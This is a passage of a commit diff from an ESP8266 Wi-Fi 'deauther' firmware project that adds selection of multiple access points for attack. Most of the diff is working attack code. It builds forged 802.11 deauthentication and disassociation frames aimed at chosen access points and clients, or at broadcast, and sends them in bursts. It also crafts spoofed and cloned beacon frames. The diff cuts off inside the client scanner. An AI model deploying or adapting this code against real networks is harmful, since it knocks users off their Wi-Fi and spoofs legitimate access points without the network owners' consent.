mirror of
https://github.com/SpacehuhnTech/esp8266_deauther.git
synced 2026-08-03 01:11:49 -07:00
Multi APs
select, scan and attack multiple APs
This commit is contained in:
@@ -5,8 +5,12 @@ APScan::APScan(){
|
||||
}
|
||||
|
||||
bool APScan::start(){
|
||||
if(debug){
|
||||
Serial.println("starting AP scan...");
|
||||
Serial.println("MAC - Ch - RSSI - Encrypt. - SSID - Vendor");
|
||||
}
|
||||
aps._clear();
|
||||
selected = -1;
|
||||
for(int i=0;i<maxResults;i++) selected[i] = false;
|
||||
results = WiFi.scanNetworks();
|
||||
|
||||
for(int i=0;i<results && i<maxResults;i++){
|
||||
@@ -18,7 +22,22 @@ bool APScan::start(){
|
||||
getEncryption(WiFi.encryptionType(i)).toCharArray(encryption[i],5);
|
||||
WiFi.SSID(i).toCharArray(names[i],33);
|
||||
data_getVendor(WiFi.BSSID(i)[0],WiFi.BSSID(i)[1],WiFi.BSSID(i)[2]).toCharArray(vendors[i],9);
|
||||
if(debug){
|
||||
_ap._print();
|
||||
Serial.print(" - ");
|
||||
Serial.print(channels[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(rssi[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(encryption[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(names[i]);
|
||||
Serial.print(" - ");
|
||||
Serial.print(vendors[i]);
|
||||
Serial.println();
|
||||
}
|
||||
}
|
||||
if(debug) Serial.println("scan done");
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -47,19 +66,24 @@ String APScan::getAPEncryption(int num){ return encryption[num]; }
|
||||
String APScan::getAPVendor(int num){ return vendors[num]; }
|
||||
String APScan::getAPMac(int num){ return aps._get(num).toString(); }
|
||||
String APScan::getAPSelected(int num){
|
||||
if(selected == num) return "true";
|
||||
if(selected[num]) return "true";
|
||||
else return "false";
|
||||
}
|
||||
int APScan::getAPRSSI(int num){ return rssi[num]; }
|
||||
int APScan::getAPChannel(int num){ return channels[num]; }
|
||||
|
||||
Mac APScan::getTarget(){
|
||||
return aps._get(selected);
|
||||
int APScan::getFirstTarget(){
|
||||
for(int i=0;i<maxResults;i++){
|
||||
if(isSelected(i)) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
String APScan::getResults(){
|
||||
if(debug) Serial.print("getting AP scan result JSON ");
|
||||
String json = "{ \"aps\":[ ";
|
||||
for(int i=0;i<results && i<maxResults;i++){
|
||||
if(debug) Serial.print(".");
|
||||
json += "{";
|
||||
json += "\"id\": "+(String)i+",";
|
||||
json += "\"channel\": "+(String)getAPChannel(i)+",";
|
||||
@@ -73,12 +97,17 @@ String APScan::getResults(){
|
||||
if((i!=results-1) && (i!=maxResults-1)) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
if(debug) Serial.println("done");
|
||||
return json;
|
||||
}
|
||||
|
||||
void APScan::select(int num){
|
||||
if(selected != num) selected = num;
|
||||
else selected = -1;
|
||||
if(debug) Serial.println("seect "+(String)num+" - "+!selected[num]);
|
||||
selected[num] = !selected[num];
|
||||
}
|
||||
|
||||
bool APScan::isSelected(int num){
|
||||
return selected[num];
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -3,11 +3,12 @@
|
||||
|
||||
#define maxResults 80
|
||||
|
||||
#include "ESP8266WiFi.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
|
||||
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
|
||||
extern const bool debug;
|
||||
|
||||
class APScan{
|
||||
public:
|
||||
@@ -25,12 +26,12 @@ class APScan{
|
||||
int getAPRSSI(int num);
|
||||
int getAPChannel(int num);
|
||||
|
||||
Mac getTarget();
|
||||
|
||||
int getFirstTarget();
|
||||
bool isSelected(int num);
|
||||
|
||||
int results = 0;
|
||||
int selected = -1;
|
||||
private:
|
||||
MacList aps;
|
||||
private:
|
||||
int channels[maxResults];
|
||||
int rssi[maxResults];
|
||||
char names[maxResults][33];
|
||||
@@ -38,6 +39,8 @@ class APScan{
|
||||
char vendors[maxResults][9];
|
||||
|
||||
String getEncryption(int code);
|
||||
|
||||
bool selected[maxResults];
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
+220
-280
@@ -1,319 +1,259 @@
|
||||
#include "Attack.h"
|
||||
|
||||
Attack::Attack(){
|
||||
for(int i=0;i<attackNum;i++){
|
||||
stati[i] = "ready";
|
||||
running[i] = false;
|
||||
previousMillis[i] = 0;
|
||||
}
|
||||
randomSeed(os_random());
|
||||
}
|
||||
|
||||
void Attack::generate(int num){
|
||||
void Attack::generate(){
|
||||
Attack::stopAll();
|
||||
if(debug) Serial.print("generating Macs");
|
||||
|
||||
Mac _randomBeaconMac;
|
||||
uint8_t _randomMacBuffer[6];
|
||||
|
||||
do{
|
||||
getRandomVendorMac(_randomMacBuffer);
|
||||
for(int i=0;i<6;i++) _randomBeaconMac.setAt(_randomMacBuffer[i],i);
|
||||
if(debug) Serial.print(".");
|
||||
}while(beaconAdrs.add(_randomBeaconMac) >= 0);
|
||||
if(debug) Serial.println("done ");
|
||||
}
|
||||
|
||||
randomSeed(os_random());
|
||||
uint8_t randomMac[6] = {0x00,0x01,0x02,0x00,0x00,0x00};
|
||||
void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason){
|
||||
packetSize = 0;
|
||||
for(int i=0;i<sizeof(deauthPacket);i++){
|
||||
packet[i] = deauthPacket[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
//generate all beacons
|
||||
if(num == -1){
|
||||
for(int i=0;i<randomBeacons;i++){
|
||||
getRandomVendorMac(randomMac);
|
||||
for(int h=0;h<SSIDLen;h++) beaconSSIDs[i][h] = random(32,126); //see: https://www.arduino.cc/en/Reference/ASCIIchart
|
||||
for(int h=0;h<6;h++) beaconMACs[i][h] = randomMac[h];
|
||||
beaconNumbers[i] = random(100,255);
|
||||
//beaconChannels[i] = random(1,12);
|
||||
//Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
|
||||
for(int i=0;i<6;i++){
|
||||
//set target (client)
|
||||
packet[4+i] = _client._get(i);
|
||||
//set source (AP)
|
||||
packet[10+i] = packet[16+i] = _ap._get(i);
|
||||
}
|
||||
|
||||
//set type
|
||||
packet[0] = type;
|
||||
packet[24] = reason;
|
||||
}
|
||||
|
||||
void Attack::buildBeacon(Mac _ap, Mac _client, String _ssid, int _ch, bool encrypt){
|
||||
packetSize = 0;
|
||||
int ssidLen = _ssid.length();
|
||||
if(ssidLen>32) ssidLen = 32;
|
||||
|
||||
for(int i=0;i<sizeof(beaconPacket_header);i++){
|
||||
packet[i] = beaconPacket_header[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
for(int i=0;i<6;i++){
|
||||
//set target (client)
|
||||
packet[4+i] = _client._get(i);
|
||||
//set source (AP)
|
||||
packet[10+i] = packet[16+i] = _ap._get(i);
|
||||
}
|
||||
|
||||
packet[packetSize] = 0x00;
|
||||
packetSize++;
|
||||
packet[packetSize] = ssidLen;
|
||||
packetSize++;
|
||||
|
||||
for(int i=0;i<ssidLen;i++){
|
||||
packet[packetSize] = _ssid[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
for(int i=0;i<sizeof(beaconPacket_end);i++){
|
||||
packet[packetSize] = beaconPacket_end[i];
|
||||
packetSize++;
|
||||
}
|
||||
|
||||
packet[packetSize] = _ch;
|
||||
packetSize++;
|
||||
|
||||
if(encrypt){
|
||||
for(int i=0;i<sizeof(beaconWPA2tag);i++){
|
||||
packet[packetSize] = beaconWPA2tag[i];
|
||||
packetSize++;
|
||||
}
|
||||
}
|
||||
//generate specific beacon
|
||||
else if(num>=0 && num<=randomBeacons){
|
||||
getRandomVendorMac(randomMac);
|
||||
for(int h=0;h<SSIDLen;h++) beaconSSIDs[num][h] = random(32,126); //see: https://www.arduino.cc/en/Reference/ASCIIchart
|
||||
for(int h=0;h<6;h++) beaconMACs[num][h] = randomMac[h];
|
||||
beaconNumbers[num] = random(100,255);
|
||||
//beaconChannels[num] = random(1,12);
|
||||
//Serial.println(data_getVendor(randomMac[0],randomMac[1],randomMac[2]));
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
bool Attack::send(uint8_t buf[], int len){
|
||||
delay(1);
|
||||
if(wifi_send_pkt_freedom(buf, len, 0) == -1){
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");
|
||||
bool Attack::send(){
|
||||
delay(1); //less packets will be dropped
|
||||
if(wifi_send_pkt_freedom(packet, packetSize, 0) == -1){
|
||||
if(debug){
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");
|
||||
}
|
||||
return false;
|
||||
}else return true;
|
||||
}
|
||||
|
||||
void Attack::start(int num){
|
||||
|
||||
if(!running[num]){
|
||||
running[num] = true;
|
||||
stati[num] = "starting";
|
||||
|
||||
switch(num){
|
||||
case 0: //deauth selected
|
||||
running[1] = false;
|
||||
stati[1] = "ready";
|
||||
//set Mac adresses
|
||||
for(int i=0;i<6;i++){
|
||||
deauthPacket[10+i] = deauthPacket[16+i] = apScan.getTarget()._get(i);
|
||||
}
|
||||
|
||||
break;
|
||||
case 1: //deauth broadcast
|
||||
|
||||
running[0] = false;
|
||||
stati[0] = "ready";
|
||||
for(int i=0;i<6;i++){
|
||||
deauthPacket[4+i] = 0xFF;
|
||||
deauthPacket[10+i] = deauthPacket[16+i] = apScan.getTarget()._get(i);
|
||||
}
|
||||
|
||||
break;
|
||||
case 2: //beacon
|
||||
|
||||
running[3] = false;
|
||||
stati[3] = "ready";
|
||||
|
||||
break;
|
||||
case 3: //random beacon
|
||||
|
||||
running[2] = false;
|
||||
stati[2] = "ready";
|
||||
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}else{
|
||||
running[num] = false;
|
||||
stati[num] = "ready";
|
||||
}
|
||||
}
|
||||
|
||||
String Attack::getResults(){
|
||||
|
||||
if(apScan.selected < 0) stati[0] = stati[1] = stati[2] = "no AP";
|
||||
|
||||
String json = "{ \"aps\": [";
|
||||
json += "\""+apScan.getAPName(apScan.selected)+"\"";
|
||||
json += "], \"clients\": [";
|
||||
|
||||
int selectedClientsNum = 0;
|
||||
|
||||
for(int i=0;i<clientScan.results;i++){
|
||||
if(clientScan.getClientSelected(i)){
|
||||
json += "\""+clientScan.getClientMac(i).toString()+" "+clientScan.getClientVendor(i)+" - "+clientScan.getClientName(i)+"\",";
|
||||
selectedClientsNum++;
|
||||
}
|
||||
}
|
||||
|
||||
if(selectedClientsNum == 0) stati[0] = "no client";
|
||||
else json.remove(json.length()-1);
|
||||
|
||||
json += "], \"attacks\": [";
|
||||
for(int i=0;i<attackNum;i++){
|
||||
json += "{";
|
||||
json += "\"name\": \""+attackNames[i]+"\",";
|
||||
json += "\"status\": \""+stati[i]+"\",";
|
||||
json += "\"running\": "+(String)running[i];
|
||||
json += "}";
|
||||
if(i < attackNum-1) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::run(){
|
||||
currentMillis = millis();
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
if(running[0]){//deauth all
|
||||
if((currentMillis - previousMillis[0]) >= 1000/deauthsPerSecond){
|
||||
/* =============== Deauth Attack =============== */
|
||||
if(isRunning[0] && currentMillis-prevTime[0] >= 1000){
|
||||
if(debug) Serial.print("running "+(String)attackNames[0]+" attack");
|
||||
|
||||
int clientsSelected = 0;
|
||||
|
||||
for(int i=0;i<clientScan.results;i++){
|
||||
|
||||
if(clientScan.getClientSelected(i)){
|
||||
clientsSelected++;
|
||||
|
||||
//set Mac adresses
|
||||
for(int h=0;h<6;h++){
|
||||
deauthPacket[4+h] = clientScan.getClientMac(i)._get(h);
|
||||
deauthPacket[10+h] = deauthPacket[16+h] = apScan.getTarget()._get(h);
|
||||
for(int a=0;a<apScan.results;a++){
|
||||
if(apScan.isSelected(a)){
|
||||
Mac _ap;
|
||||
int _ch = apScan.getAPChannel(a);
|
||||
_ap.setMac(apScan.aps._get(a));
|
||||
|
||||
wifi_set_channel(_ch);
|
||||
|
||||
int _selectedClients = 0;
|
||||
for(int i=0;i<clientScan.results;i++){
|
||||
if(clientScan.getClientSelected(i)){
|
||||
_selectedClients++;
|
||||
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, 0x01 );
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[0]++;
|
||||
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, 0x01 );
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[0]++;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if(_selectedClients == 0){
|
||||
Mac _client;
|
||||
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
|
||||
buildDeauth(_ap, _client, 0xc0, 0x01 );
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[0]++;
|
||||
|
||||
buildDeauth(_ap, _client, 0xa0, 0x01 );
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[0]++;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
if(send(deauthPacket, 26)) packetsCounter[0]++;
|
||||
prevTime[0] = millis();
|
||||
stati[0] = (String)packetsCounter[0]+"pkts/s";
|
||||
packetsCounter[0] = 0;
|
||||
if(debug) Serial.println(" done ");
|
||||
}
|
||||
|
||||
//send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
if(send(deauthPacket, 26)) packetsCounter[0]++;
|
||||
if(isRunning[1] && currentMillis-prevTime[1] >= 1000){
|
||||
if(debug) Serial.print("running "+(String)attackNames[1]+" attack");
|
||||
|
||||
previousMillis[0] = millis();
|
||||
for(int a=0;a<apScan.results;a++){
|
||||
if(apScan.isSelected(a)){
|
||||
String _ssid = apScan.getAPName(a);
|
||||
int _ch = apScan.getAPChannel(a);
|
||||
|
||||
wifi_set_channel(_ch);
|
||||
|
||||
int _selectedClients = 0;
|
||||
for(int i=0;i<clientScan.results;i++){
|
||||
if(clientScan.getClientSelected(i)){
|
||||
_selectedClients++;
|
||||
|
||||
buildBeacon(beaconAdrs._get(0),clientScan.getClientMac(i),_ssid+" 2",_ch,false);
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[1]++;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
if(_selectedClients == 0){
|
||||
Mac _client;
|
||||
_client.set(0xFF,0xFF,0xFF,0xFF,0xFF,0xFF);
|
||||
|
||||
buildBeacon(beaconAdrs._get(0),_client,_ssid+" 2",_ch,false);
|
||||
for(int h=0;h<packetRate;h++) if(send()) packetsCounter[1]++;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
if(clientsSelected == 0) running[0] = false;
|
||||
}
|
||||
}
|
||||
|
||||
if(currentMillis - previousSecond[0] >= 1000){
|
||||
stati[0] = (String)packetsCounter[0]+"pkts/s";
|
||||
packetsCounter[0] = 0;
|
||||
previousSecond[0] = millis();
|
||||
//Serial.println("");
|
||||
}
|
||||
|
||||
}
|
||||
if(running[1]){//deauth selected
|
||||
if((currentMillis - previousMillis[1]) >= 1000/deauthsPerSecond){
|
||||
|
||||
//send deauth
|
||||
deauthPacket[0] = 0xc0;
|
||||
if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/*
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");*/
|
||||
}else packetsCounter[1]++;
|
||||
|
||||
delay(1);
|
||||
|
||||
//send disassociate
|
||||
deauthPacket[0] = 0xa0;
|
||||
if(wifi_send_pkt_freedom(deauthPacket, 26, 0) == -1){/*
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");*/
|
||||
}else packetsCounter[1]++;
|
||||
|
||||
previousMillis[1] = millis();
|
||||
|
||||
}
|
||||
|
||||
if(currentMillis - previousSecond[1] >= 1000){
|
||||
stati[1] = (String)packetsCounter[1]+"pkts/s";
|
||||
packetsCounter[1] = 0;
|
||||
previousSecond[1] = millis();
|
||||
//Serial.println("");
|
||||
}
|
||||
|
||||
|
||||
prevTime[1] = millis();
|
||||
stati[1] = (String)packetsCounter[1]+"pkts/s";
|
||||
packetsCounter[1] = 0;
|
||||
if(debug) Serial.println(" done ");
|
||||
}
|
||||
|
||||
if(running[2] || running[3]){//beacon spam
|
||||
|
||||
if((currentMillis - previousMillis[3]) >= 1000/beaconPerSecond){
|
||||
previousMillis[3] = millis();
|
||||
randomBeaconCounter = 0;
|
||||
|
||||
for(int i=0;i<randomBeacons;i++){
|
||||
//unsigned long startTime = millis();
|
||||
randomBeaconCounter++;
|
||||
generateBeaconPacket();
|
||||
|
||||
if(wifi_send_pkt_freedom(packet, packetSize, 0) == -1){/*
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");*/
|
||||
}else packetsCounter[3]++;
|
||||
delay(1/*((1000/beaconPerSecond)/randomBeacons)-1/*(millis()-startTime)*/);
|
||||
}
|
||||
}
|
||||
|
||||
if(currentMillis - previousSecond[3] >= 1000){
|
||||
if(running[3]) stati[3] = (String)packetsCounter[3]+"pkts/s";
|
||||
else stati[2] = (String)packetsCounter[3]+"pkts/s";
|
||||
packetsCounter[3] = 0;
|
||||
previousSecond[3] = millis();
|
||||
}
|
||||
if(isRunning[2] && currentMillis-prevTime[2] >= 1000){
|
||||
if(debug) Serial.print("running "+(String)attackNames[1]+" attack");
|
||||
|
||||
prevTime[1] = millis();
|
||||
stati[1] = (String)packetsCounter[1]+"pkts/s";
|
||||
packetsCounter[1] = 0;
|
||||
if(debug) Serial.println(" done ");
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::generateBeaconPacket(){
|
||||
void Attack::start(int num){
|
||||
if(!isRunning[num]){
|
||||
isRunning[num] = true;
|
||||
stati[num] = "starting";
|
||||
prevTime[num] = millis();
|
||||
if(debug) Serial.println("starting "+(String)attackNames[num]+" attack");
|
||||
}else stop(num);
|
||||
|
||||
}
|
||||
|
||||
if(currentMillis - previousRandomBeaconMillis >= randomBeaconChange*1000){
|
||||
generate(oldRandomBeacon);
|
||||
//Serial.println("generated new beacon"+(String)oldRandomBeacon);
|
||||
oldRandomBeacon++;
|
||||
if(oldRandomBeacon == randomBeacons) oldRandomBeacon = 0;
|
||||
previousRandomBeaconMillis = currentMillis;
|
||||
}
|
||||
|
||||
packetSize = 0;
|
||||
for(int i=0;i<sizeof(beaconPacket_header);i++) packet[i] = beaconPacket_header[i];
|
||||
packetSize += sizeof(beaconPacket_header);
|
||||
|
||||
if(running[2]){ //target spam
|
||||
|
||||
String apName = apScan.getAPName(apScan.selected);
|
||||
|
||||
//adds spaces to the AP-SSID if the name length is smaller then the max size of 32
|
||||
int _restNameLen = SSIDLen - apName.length();
|
||||
|
||||
if(randomBeaconCounter < _restNameLen) for(int i=0;i<_restNameLen-randomBeaconCounter;i++) apName += " ";//e.g. "SAMPLEAP "
|
||||
else if(randomBeaconCounter < _restNameLen*2){
|
||||
apName = "."+apName;
|
||||
for(int i=0;i<(_restNameLen-1)-randomBeaconCounter/2;i++) apName += " ";//e.g. ".SAMPLEAP "
|
||||
}
|
||||
else apName += " "+(String)beaconNumbers[randomBeaconCounter];//e.g. "SAMPLEAP 329"
|
||||
|
||||
int _ssidLen = apName.length();
|
||||
|
||||
//set SSID size
|
||||
packet[packetSize] = 0x00;
|
||||
packet[packetSize+1] = _ssidLen;
|
||||
packetSize += 2;
|
||||
|
||||
//set SSID
|
||||
for(int i=0;i<_ssidLen;i++) packet[packetSize+i] = apName[i];
|
||||
packetSize += _ssidLen;
|
||||
|
||||
if(apScan.getAPEncryption(apScan.selected) == "WPA2" ||
|
||||
apScan.getAPEncryption(apScan.selected) == "WPA" ||
|
||||
apScan.getAPEncryption(apScan.selected) == "WPA*"){
|
||||
//set RSN tag
|
||||
for(int i=0;i<sizeof(beaconWPA2tag);i++) packet[packetSize+i] = beaconWPA2tag[i];
|
||||
packetSize += sizeof(beaconWPA2tag);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}else { //random spam
|
||||
//set SSID size
|
||||
packet[packetSize] = 0x00;
|
||||
packet[packetSize+1] = (uint8_t)SSIDLen;
|
||||
packetSize += 2;
|
||||
|
||||
//set SSID
|
||||
for(int i=0;i<SSIDLen;i++) packet[packetSize+i] = beaconSSIDs[randomBeaconCounter][i];
|
||||
packetSize += SSIDLen;
|
||||
}
|
||||
|
||||
for(int i=0;i<sizeof(beaconPacket_end);i++) packet[packetSize+i] = beaconPacket_end[i];
|
||||
packetSize += sizeof(beaconPacket_end);
|
||||
|
||||
//set MAC
|
||||
for(int i=0;i<6;i++) packet[10+i] = packet[16+i] = beaconMACs[randomBeaconCounter][i];
|
||||
void Attack::stop(int num){
|
||||
if(isRunning[num]){
|
||||
isRunning[num] = false;
|
||||
stati[num] = "ready";
|
||||
prevTime[num] = millis();
|
||||
if(debug) Serial.println("stopping "+(String)attackNames[num]+" attack");
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stopAll(){
|
||||
for(int i=0;i<attackNum;i++){
|
||||
running[i] = false;
|
||||
stati[i] = "ready";
|
||||
}
|
||||
for(int i=0;i<attacksNum;i++) stop(i);
|
||||
}
|
||||
void Attack::stop(int num){
|
||||
if(num>=0 && num<attackNum){
|
||||
running[num] = false;
|
||||
stati[num] = "ready";
|
||||
|
||||
String Attack::getResults(){
|
||||
if(debug) Serial.print("getting attacks JSON...");
|
||||
|
||||
if(apScan.getFirstTarget() < 0) stati[0] = stati[1] = "no AP";
|
||||
|
||||
int _selected;
|
||||
String json = "{ \"aps\": [";
|
||||
|
||||
_selected = 0;
|
||||
for(int i=0;i<apScan.results;i++){
|
||||
if(apScan.isSelected(i)){
|
||||
json += "\""+apScan.getAPName(i)+"\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if(_selected > 0) json.remove(json.length()-1);
|
||||
|
||||
json += "], \"clients\": [";
|
||||
|
||||
_selected = 0;
|
||||
for(int i=0;i<clientScan.results;i++){
|
||||
if(clientScan.getClientSelected(i)){
|
||||
json += "\""+clientScan.getClientMac(i).toString()+" "+clientScan.getClientVendor(i)+" - "+clientScan.getClientName(i)+"\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if(_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||
else json.remove(json.length()-1);
|
||||
|
||||
json += "], \"attacks\": [";
|
||||
for(int i=0;i<attacksNum;i++){
|
||||
json += "{";
|
||||
json += "\"name\": \""+attackNames[i]+"\",";
|
||||
json += "\"status\": \""+stati[i]+"\",";
|
||||
json += "\"running\": "+(String)isRunning[i];
|
||||
json += "}";
|
||||
if(i != attacksNum-1) json += ",";
|
||||
}
|
||||
json += "] }";
|
||||
if(debug) Serial.println("done ");
|
||||
return json;
|
||||
}
|
||||
|
||||
+44
-55
@@ -1,7 +1,7 @@
|
||||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
|
||||
#include "ESP8266WiFi.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
@@ -12,19 +12,12 @@ extern "C" {
|
||||
#include "APScan.h"
|
||||
#include "ClientScan.h"
|
||||
|
||||
#define attackNum 4 //number of defined attacks
|
||||
|
||||
#define deauthsPerSecond 10 //number of deauthentication & disassociation frames sent per second per target.
|
||||
|
||||
#define beaconPerSecond 10 //number of beacon frames sent per second
|
||||
#define randomBeacons 80 //number of generated beacon frames
|
||||
#define SSIDLen 32 //SSID length of random generated APs (random beacon spam)
|
||||
#define randomBeaconChange 3 //time in seconds after new beacon frames are generated
|
||||
#define beaconChannel 10 //channel to send beacon frames on (only for the packet bytes, it will actually sent on the current channel)
|
||||
#define attacksNum 3
|
||||
|
||||
extern void PrintHex8(uint8_t *data, uint8_t length);
|
||||
extern void getRandomVendorMac(uint8_t *buf);
|
||||
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
|
||||
extern const bool debug;
|
||||
|
||||
extern APScan apScan;
|
||||
extern ClientScan clientScan;
|
||||
@@ -33,27 +26,37 @@ class Attack
|
||||
{
|
||||
public:
|
||||
Attack();
|
||||
void generate(int num);
|
||||
void start(int num);
|
||||
String getResults();
|
||||
void generate();
|
||||
void run();
|
||||
void stopAll();
|
||||
void start(int num);
|
||||
void stop(int num);
|
||||
void stopAll();
|
||||
String getResults();
|
||||
private:
|
||||
void generateBeaconPacket();
|
||||
bool send(uint8_t buf[], int len);
|
||||
|
||||
const String attackNames[attackNum] = {"deauth selected","deauth all","beacon spam","random beacon spam"};
|
||||
String stati[attackNum];
|
||||
int packetsCounter[attackNum];
|
||||
bool running[attackNum];
|
||||
|
||||
unsigned long previousMillis[attackNum];
|
||||
unsigned long previousSecond[attackNum];
|
||||
unsigned long previousRandomBeaconMillis;
|
||||
unsigned long currentMillis = 0;
|
||||
|
||||
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
|
||||
void buildBeacon(Mac _ap, Mac _client, String _ssid, int _ch, bool encrypt);
|
||||
bool send();
|
||||
|
||||
//attack declarations
|
||||
const String attackNames[attacksNum] = {"deauth","beacon (clone)","beacon (list)"};
|
||||
|
||||
//attack infos
|
||||
String stati[attacksNum];
|
||||
unsigned int packetsCounter[attacksNum];
|
||||
bool isRunning[attacksNum];
|
||||
const int packetRate = 10 ;
|
||||
|
||||
MacList beaconAdrs;
|
||||
|
||||
//packet buffer
|
||||
uint8_t packet[128];
|
||||
int packetSize;
|
||||
|
||||
//timestamp for running every attack
|
||||
unsigned long prevTime[attacksNum];
|
||||
|
||||
//packet declarations
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
|
||||
@@ -64,39 +67,25 @@ class Attack
|
||||
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
|
||||
uint8_t beaconSSIDs[randomBeacons][SSIDLen];
|
||||
uint8_t beaconMACs[randomBeacons][6];
|
||||
//uint8_t beaconChannels[randomBeacons];
|
||||
|
||||
uint8_t beaconNumbers[randomBeacons];
|
||||
|
||||
uint8_t packet[128];
|
||||
int packetSize;
|
||||
|
||||
int randomBeaconCounter = 0;
|
||||
int oldRandomBeacon = 0; //first beacon to regenerated after >>randomBeaconChange<< seconds
|
||||
|
||||
uint8_t beaconPacket_header[36] = {
|
||||
0x80, 0x00,
|
||||
0x00, 0x00, //beacon
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
0xc0, 0x6c,
|
||||
0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
|
||||
0x64, 0x00,
|
||||
0x01, 0x04/*,
|
||||
0x00, 0x06, //SSID size
|
||||
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
|
||||
>>beaconPacket_end<<
|
||||
0x04 //channel*/
|
||||
/* 0 - 1 */ 0x80, 0x00,
|
||||
/* 2 - 3 */ 0x00, 0x00, //beacon
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
/* 22 - 23 */ 0xc0, 0x6c,
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
|
||||
/* 32 - 33 */ 0xe8, 0x03, //0x64,0x00 => every 100ms
|
||||
/* 34 - 35 */ 0x01, 0x04
|
||||
/*,0x00, 0x06, //SSID size
|
||||
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
|
||||
>>beaconPacket_end<<*/
|
||||
};
|
||||
|
||||
uint8_t beaconPacket_end[13] = {
|
||||
uint8_t beaconPacket_end[12] = {
|
||||
0x01, 0x08, 0x82, 0x84,
|
||||
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
|
||||
beaconChannel //channel
|
||||
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01
|
||||
/*,channel*/
|
||||
};
|
||||
|
||||
uint8_t beaconWPA2tag[26] = {
|
||||
|
||||
@@ -6,77 +6,97 @@ ClientScan::ClientScan(){
|
||||
}
|
||||
|
||||
void ClientScan::start(int _time){
|
||||
Serial.println();
|
||||
Serial.println("starting client scan");
|
||||
|
||||
clients._clear();
|
||||
for(int i=0;i<maxResults;i++) selected[i] = false;
|
||||
for(int i=0;i<maxResults;i++){
|
||||
selected[i] = false;
|
||||
packets[i] = 0;
|
||||
}
|
||||
results = 0;
|
||||
timeout = _time;
|
||||
target.setMac(apScan.getTarget());
|
||||
sniffing = true;
|
||||
|
||||
startTime = millis();
|
||||
|
||||
/*Serial.print("starting scan on: ");
|
||||
target._println();*/
|
||||
channelsNum = 0;
|
||||
